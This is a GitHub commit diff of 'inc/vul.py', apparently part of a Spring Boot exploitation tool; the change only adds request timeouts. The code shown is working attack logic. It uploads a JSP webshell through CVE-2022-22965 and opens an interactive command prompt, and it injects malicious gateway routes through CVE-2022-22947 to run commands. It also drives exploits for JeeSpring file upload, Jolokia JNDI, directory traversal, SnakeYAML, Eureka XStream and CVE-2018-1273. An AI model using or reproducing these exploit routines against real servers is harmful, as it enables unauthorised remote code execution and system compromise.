Skip to content

Commit e4493c5

Browse files
AabyssZGAabyssZG
authored
Update vul.py
1 parent e1be613 commit e4493c5

File tree

1 file changed

+41
-41
lines changed

1 file changed

+41
-41
lines changed

‎inc/vul.py‎

Lines changed: 41 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
from time import sleep
1010
import urllib3
1111
urllib3.disable_warnings()
12-
requests.timeout = 12
12+
outtime = 10
1313

1414
ua = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
1515
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
@@ -53,25 +53,25 @@ def CVE_2022_22965(url, proxies, header_new):
5353
getpayload = url + payload_http
5454
try:
5555
requests.packages.urllib3.disable_warnings()
56-
requests.post(url, headers=Headers_2, data=file_date_data, allow_redirects=False, verify=False, proxies=proxies)
57-
requests.post(url, headers=Headers_2, data=payload_other, allow_redirects=False, verify=False, proxies=proxies)
58-
requests.post(url, headers=Headers_1, data=payload_linux, allow_redirects=False, verify=False, proxies=proxies)
56+
requests.post(url, headers=Headers_2, timeout = outtime, data=file_date_data, allow_redirects=False, verify=False, proxies=proxies)
57+
requests.post(url, headers=Headers_2, timeout = outtime, data=payload_other, allow_redirects=False, verify=False, proxies=proxies)
58+
requests.post(url, headers=Headers_1, timeout = outtime, data=payload_linux, allow_redirects=False, verify=False, proxies=proxies)
5959
sleep(0.5)
60-
requests.post(url, headers=Headers_1, data=payload_win, allow_redirects=False, verify=False, proxies=proxies)
60+
requests.post(url, headers=Headers_1, timeout = outtime, data=payload_win, allow_redirects=False, verify=False, proxies=proxies)
6161
sleep(0.5)
62-
requests.get(getpayload, headers=Headers_1, allow_redirects=False, verify=False, proxies=proxies)
62+
requests.get(getpayload, headers=Headers_1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
6363
sleep(0.5)
64-
test = requests.get(url + "shell.jsp", allow_redirects=False, verify=False, proxies=proxies)
65-
test_again = requests.get(url + "shell.jsp", allow_redirects=False, verify=False, proxies=proxies)
64+
test = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
65+
test_again = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
6666
if (test_again.status_code == 200):
6767
cprint("[+] 存在编号为CVE-2022-22965的RCE漏洞，上传Webshell为：" + url + "shell.jsp?pwd=tomcat&cmd=whoami" ,"red")
6868
while 1:
6969
Cmd = input("[+] 请输入要执行的命令>>> ")
7070
if Cmd == "exit":
7171
sys.exit(0)
7272
url_shell = url + "shell.jsp?pwd=tomcat&cmd={}".format(Cmd)
73-
r = requests.get(url_shell, verify=False, proxies=proxies)
74-
r_again = requests.get(url_shell, verify=False, proxies=proxies)
73+
r = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies)
74+
r_again = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies)
7575
if r_again.status_code == 500:
7676
cprint("[-] 重发包返回状态码500，请手动尝试利用WebShell：shell.jsp?pwd=tomcat&cmd=whoami\n","yellow")
7777
break
@@ -107,7 +107,7 @@ def CVE_2022_22963(url, proxies, header_new):
107107
try:
108108
url = url + path
109109
requests.packages.urllib3.disable_warnings()
110-
req = requests.post(url=url, headers=header, data=data, verify=False, proxies=proxies)
110+
req = requests.post(url=url, headers=header, timeout = outtime, data=data, verify=False, proxies=proxies)
111111
code = req.status_code
112112
text = req.text
113113
rsp = '"error":"Internal Server Error"'
@@ -155,9 +155,9 @@ def CVE_2022_22947(url, proxies, header_new):
155155
try:
156156
cprint("[+] 正在发送Linux的Payload","green")
157157
requests.packages.urllib3.disable_warnings()
158-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, json=json ,verify=False, proxies=proxies)
159-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
160-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
158+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies)
159+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
160+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
161161
if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)):
162162
cprint("[+] Payload已经输出，回显结果如下：", "red")
163163
print('\n')
@@ -167,13 +167,13 @@ def CVE_2022_22947(url, proxies, header_new):
167167
vul_status = 1
168168
else:
169169
cprint("[.] Linux的Payload没成功，清理缓存","green")
170-
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
171-
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
170+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
171+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
172172
cprint("[+] 正在发送Windows的Payload","green")
173173
requests.packages.urllib3.disable_warnings()
174-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, json=json ,verify=False, proxies=proxies)
175-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
176-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
174+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies)
175+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
176+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
177177
if ('<DIR>' in str(re3.text)):
178178
cprint("[+] Payload已经输出，回显结果如下：", "red")
179179
print('\n')
@@ -183,20 +183,20 @@ def CVE_2022_22947(url, proxies, header_new):
183183
vul_status = 1
184184
if vul_status == 0:
185185
cprint("[-] CVE-2022-22947漏洞不存在\n", "yellow")
186-
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
187-
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
186+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
187+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
188188
while vul_status == 1:
189189
Cmd = input("[+] 请输入要执行的命令>>> ")
190190
if Cmd == "exit":
191-
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
192-
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
191+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
192+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
193193
print("[+] 删除路由成功")
194194
sys.exit()
195195
else:
196196
payload_new = payload_windows.replace('dir', Cmd)
197-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_new, headers=headers1, json=json ,verify=False, proxies=proxies)
198-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies)
199-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies)
197+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies)
198+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
199+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies)
200200
result = re3.text
201201
cprint(result ,"green")
202202
print('\n')
@@ -226,13 +226,13 @@ def JeeSpring_2023(url, proxies, header_new):
226226

227227
try:
228228
requests.packages.urllib3.disable_warnings()
229-
re1 = requests.post(url=url + path, data=payload, headers=headers1, verify=False, proxies=proxies)
229+
re1 = requests.post(url=url + path, data=payload, headers=headers1, timeout = outtime, verify=False, proxies=proxies)
230230
code1 = re1.status_code
231231
if ('jsp' in str(re1.text)) and (int(code1) == 200):
232232
cprint("[+] Payload已经发送，成功上传JSP", "red")
233233
newpath = str(re1.text)
234234
urltest = url + "static/uploadify/" + newpath.strip()
235-
retest = requests.get(url=urltest, verify=False, proxies=proxies)
235+
retest = requests.get(url=urltest, timeout = outtime, verify=False, proxies=proxies)
236236
code2 = retest.status_code
237237
if ('Hello' in str(retest.text)) and (code2 == 200):
238238
cprint(f'[+] {url} 存在2023JeeSpring任意文件上传漏洞，Poc地址如下：', "red")
@@ -259,13 +259,13 @@ def JolokiaRCE(url, proxies, header_new):
259259
headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\""))
260260
try:
261261
requests.packages.urllib3.disable_warnings()
262-
re1 = requests.post(url=url + path1, headers=headers1, allow_redirects=False, verify=False, proxies=proxies)
262+
re1 = requests.post(url=url + path1, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
263263
code1 = re1.status_code
264-
re2 = requests.post(url=url + path2, headers=headers1, allow_redirects=False, verify=False, proxies=proxies)
264+
re2 = requests.post(url=url + path2, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
265265
code2 = re2.status_code
266266
if ((int(code1) == 200) or (int(code2) == 200)):
267267
cprint("[+] 发现jolokia相关路径状态码为200，进一步验证", "red")
268-
retest = requests.get(url=url + path3, verify=False, proxies=proxies)
268+
retest = requests.get(url=url + path3, timeout = outtime, verify=False, proxies=proxies)
269269
code3 = retest.status_code
270270
if ('reloadByURL' in str(retest.text)) and (code3 == 200):
271271
cprint(f'[+] {url} 存在Jolokia-Logback-JNDI-RCE漏洞，Poc地址如下：', "red")
@@ -297,10 +297,10 @@ def CVE_2021_21234(url,proxies, header_new):
297297
headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\""))
298298
try:
299299
requests.packages.urllib3.disable_warnings()
300-
re1 = requests.post(url=url + payload1, headers=headers1, verify=False, proxies=proxies)
301-
re2 = requests.post(url=url + payload2, headers=headers1, verify=False, proxies=proxies)
302-
re3 = requests.post(url=url + payload3, headers=headers1, verify=False, proxies=proxies)
303-
re4 = requests.post(url=url + payload4, headers=headers1, verify=False, proxies=proxies)
300+
re1 = requests.post(url=url + payload1, headers=headers1, timeout = outtime, verify=False, proxies=proxies)
301+
re2 = requests.post(url=url + payload2, headers=headers1, timeout = outtime, verify=False, proxies=proxies)
302+
re3 = requests.post(url=url + payload3, headers=headers1, timeout = outtime, verify=False, proxies=proxies)
303+
re4 = requests.post(url=url + payload4, headers=headers1, timeout = outtime, verify=False, proxies=proxies)
304304
if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))):
305305
cprint("[+] 发现Spring Boot目录遍历漏洞且系统为Win，Poc路径如下：", "red")
306306
cprint(url + payload1, "red")
@@ -338,8 +338,8 @@ def SnakeYAML_RCE(url, proxies, header_new):
338338
try:
339339
requests.packages.urllib3.disable_warnings()
340340
urltest = url + path
341-
re1 = requests.post(url=urltest, headers=Headers_1, data=payload_1, allow_redirects=False, verify=False, proxies=proxies)
342-
re2 = requests.post(url=urltest, headers=Headers_2, data=payload_2, allow_redirects=False, verify=False, proxies=proxies)
341+
re1 = requests.post(url=urltest, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies)
342+
re2 = requests.post(url=urltest, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies)
343343
if ('example.yml' in str(re1.text)):
344344
cprint("[+] 发现SnakeYAML-RCE漏洞，Poc为Spring 1.x：", "red")
345345
cprint('漏洞存在路径为 ' + urltest + '\n', "red")
@@ -379,8 +379,8 @@ def Eureka_xstream_RCE(url, proxies, header_new):
379379
requests.packages.urllib3.disable_warnings()
380380
urltest1 = url + path1
381381
urltest2 = url + path2
382-
re1 = requests.post(url=urltest1, headers=Headers_1, data=payload_1, allow_redirects=False, verify=False, proxies=proxies)
383-
re2 = requests.post(url=urltest2, headers=Headers_2, data=payload_2, allow_redirects=False, verify=False, proxies=proxies)
382+
re1 = requests.post(url=urltest1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies)
383+
re2 = requests.post(url=urltest2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies)
384384
if ('127.0.0.2' in str(re1.text)):
385385
cprint("[+] 发现Eureka_Xstream反序列化漏洞，Poc为Spring 1.x：", "red")
386386
cprint('漏洞存在路径为 ' + urltest1 + '\n', "red")
@@ -415,7 +415,7 @@ def CVE_2018_1273(url, proxies, header_new):
415415
requests.packages.urllib3.disable_warnings()
416416
urltest1 = url + path1
417417
urltest2 = url + path2
418-
re1 = requests.get(url=urltest1, headers=Headers, allow_redirects=False, verify=False, proxies=proxies)
418+
re1 = requests.get(url=urltest1, headers=Headers, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies)
419419
code1 = re1.status_code
420420
if ((int(code1) == 200) and ('Users' in str(re1.text))):
421421
cprint("[+] 发现Spring_Data_Commons远程命令执行漏洞：", "red")
@@ -431,7 +431,7 @@ def CVE_2018_1273(url, proxies, header_new):
431431
if Cmd == "exit":
432432
sys.exit(0)
433433
else:
434-
re2 = requests.post(url=urltest2, data=payload3, headers=Headers, verify=False, proxies=proxies)
434+
re2 = requests.post(url=urltest2, data=payload3, headers=Headers, timeout = outtime, verify=False, proxies=proxies)
435435
code2 = re2.status_code
436436
if (int(code2) != 503):
437437
cprint('[+] 该Payload已经打出，由于该漏洞无回显，请用Dnslog进行测试\n', "red")

0 commit comments

Comments
 (0)